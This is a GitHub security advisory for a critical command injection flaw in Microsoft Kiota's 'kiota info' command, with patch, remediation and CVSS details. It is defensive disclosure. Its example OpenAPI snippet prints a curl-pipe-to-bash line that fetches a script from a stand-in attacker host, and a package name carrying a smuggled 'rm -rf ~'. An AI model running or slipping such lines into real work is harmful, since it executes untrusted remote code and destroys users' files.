Skip to content

Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`

Critical severity GitHub Reviewed Published Jul 3, 2026 in microsoft/kiota • Updated Jul 24, 2026

Package

nuget Microsoft.OpenApi.Kiota (NuGet)

Affected versions

< 1.32.5

Patched versions

1.32.5
nuget Microsoft.OpenApi.Kiota.Builder (NuGet)
< 1.32.5
1.32.5

Description

Summary

kiota info — the command developers run to learn which packages to install after generating a client —
read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied
dependencyInstallCommand (and dependency name/version) as the tool's own recommended install
command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised
description:

$ kiota info -d <attacker-spec> -l CSharp
   ...
   Hint: use the install command to install the dependencies.
   Example:
      curl -s https://attacker.example/x.sh | bash   # attacker-controlled

A developer who followed kiota's explicit instruction (run the suggested install command) executed
attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the
Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string
directly, so an "install dependencies" action in the IDE could run it automatically.

Confirmed on Kiota 1.32.4.

Details

x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the
install-command example, and dependencies[].name/version were shown verbatim in the package table:

# spec
x-ms-kiota-info:
  languagesInformation:
    CSharp:
      dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
      dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]

Without x-ms-kiota-info, kiota suggests its own trusted command (e.g.
dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it.
kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in
dependencyInstallCommand.

Impact

A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed
kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI
host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output,
could make this automatic. CWE-94 / CWE-829.

Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the
recommended command is run (manually per kiota's hint, or by the IDE).

Patches

Fixed in 1.32.5 (microsoft/kiota#7883). Support for the spec-supplied
dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or
presents a description-provided install command and only surfaces kiota's own built-in, package-manager
templates. The --json output no longer carries a spec-controlled command string for the IDE to run.

Remediation

Upgrade to Kiota 1.32.5 or later. Update the Kiota VS Code extension to a version built against 1.32.5+.

References

@jingjingjia-ms jingjingjia-ms published to microsoft/kiota Jul 3, 2026
Published by the National Vulnerability Database Jul 16, 2026
Published to the GitHub Advisory Database Jul 24, 2026
Reviewed Jul 24, 2026
Last updated Jul 24, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(87th percentile)

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Inclusion of Functionality from Untrusted Control Sphere

The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere. Learn more on MITRE.

CVE ID

CVE-2026-59865

GHSA ID

GHSA-hq9q-27g5-qwpj

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.